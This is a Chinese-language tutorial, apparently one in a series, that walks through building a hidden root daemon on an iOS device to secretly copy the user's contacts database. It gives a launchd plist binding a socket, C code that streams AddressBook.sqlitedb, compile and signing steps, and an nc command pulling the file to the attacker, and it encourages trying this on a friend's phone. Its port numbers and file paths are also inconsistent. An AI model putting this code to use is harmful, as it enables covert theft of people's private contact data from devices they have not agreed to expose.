上一篇我们编了一个HelloWorld程序,并且手动运行成功

但是我们写个程序不可能就去别人手机上打印一个HelloWorld吧。这篇就来介绍如何获取手机联系人。

要获取用户的手机联系人,总不能大摇大摆的在用户手机上运行一个app吧,那要如何在用户不知不觉的情况下获取到用户的手机联系人呢。这就需要用到守护进程。

守护进程是指在后台运行的程序,不直接由用户控制。对于攻击者来说将代码守护花的好处非常多。运行在后台的恶意代码可以偷偷的窃取数据,而不会被用户发觉。也可以连接到一台控制服务器等待指令。这种恶意代码感染方法的好处是。不需要用户启动一个应用软件或者执行其他任何任务就可以气动攻击。这不正是我们需要的么。

要在iOS的后台启动一个进程,那就要了解iOS的进程管理。

所有的iOS设备都通过Launchd 来启动或者停止服务。进程的管理方法取决于一个Launchd 的清单文件,后者定义了进程启动和停止的条件和方法。

# ls /System/Library/LaunchDaemons/
bootps.plist                          com.apple.mDNSResponder.plist
com.apple.CrashHousekeeping.plist     com.apple.mobile.softwareupdated.plist__
com.apple.MobileFileIntegrity.plist   com.apple.softwareupdateservicesd.plist__
com.apple.jetsamproperties.N94.plist


然后我们自己来为自己的程序写一个清单文件

<?xml version="1.0" encoding="UTF-8"?>
 <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
 <plist version="1.0">
 <dict>
<key>ProgramArguments</key>
<array>
<string>/usr/bin/helloworld</string>
</array>
<key>Program</key>
<string>/usr/bin/helloworld</string>
<key>Label</key>
<string>com.yourdomain.helloworld</string>
<key>SessionCreate</key>
<true/>
<key>Sockets</key>
<dict>
<key>Listeners</key>
<dict>
<key>SocketServiceName</key>
<string>77</string>
</dict>
</dict>
<key>StandardErrorPath</key>
<string>/dev/null</string>
<key>inetdCompatibility</key>
<dict>
<key>Wait</key>
<false/>
</dict>
 </dict>
 </plist>


以上定义了HelloWorld 程序的Launchd 的清单文件。

然后将这个文件拷贝 到 /System/Library/LaunchDaemons/ 

# launchctl load /Library/LaunchDaemons/com.yourdomain.helloworld.plist 
/Library/LaunchDaemons/com.yourdomain.helloworld.plist: Operation already in progress

使用这个命令来启动它。 

$telnet 192.168.2.15 77 可以看看会有什么情况

当一个用户从端口7 连接的时候,清单文件的内容会作为root 用户来运行这个helloworld 程序 ,并将其输入输出重定向到连接的socket上,而不是标准输入输出。不过简单的打印一行helloworld 也太无聊了,哪有人把iOS设备黑掉就是为了说一句HelloWorld呢。你可以在你的朋友手机上试试。攻击者可不这么无聊。来看点实际用处。获取联系人。

#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
#define FILE "/var/mobile/Library/AddressBook/AddressBook.sqlitedb"
int main(){
    int fd = open(FILE, O_RDONLY);
    char buff[128];
    size_t nr;
    if (fd < 0) {
        exit(-1);
    }
    while ((nr = read(fd,buff,sizeof(buff))) > 0) {
        write(fileno(stdout),buff,nr);
    }
}


编译

$clang -arch armv7 -isysroot `xcrun --sdk iphoneos --show-sdk-path` -o helloworld helloworld.c




把二级制文件拷贝到/usr/bin/helloworld 中

签名

#ldid -S helloworld


$nc 192.168.2.15 8024 > AddressBook.sqlitedb

好了,拿个工具打开AddressBook.sqlitedb看看吧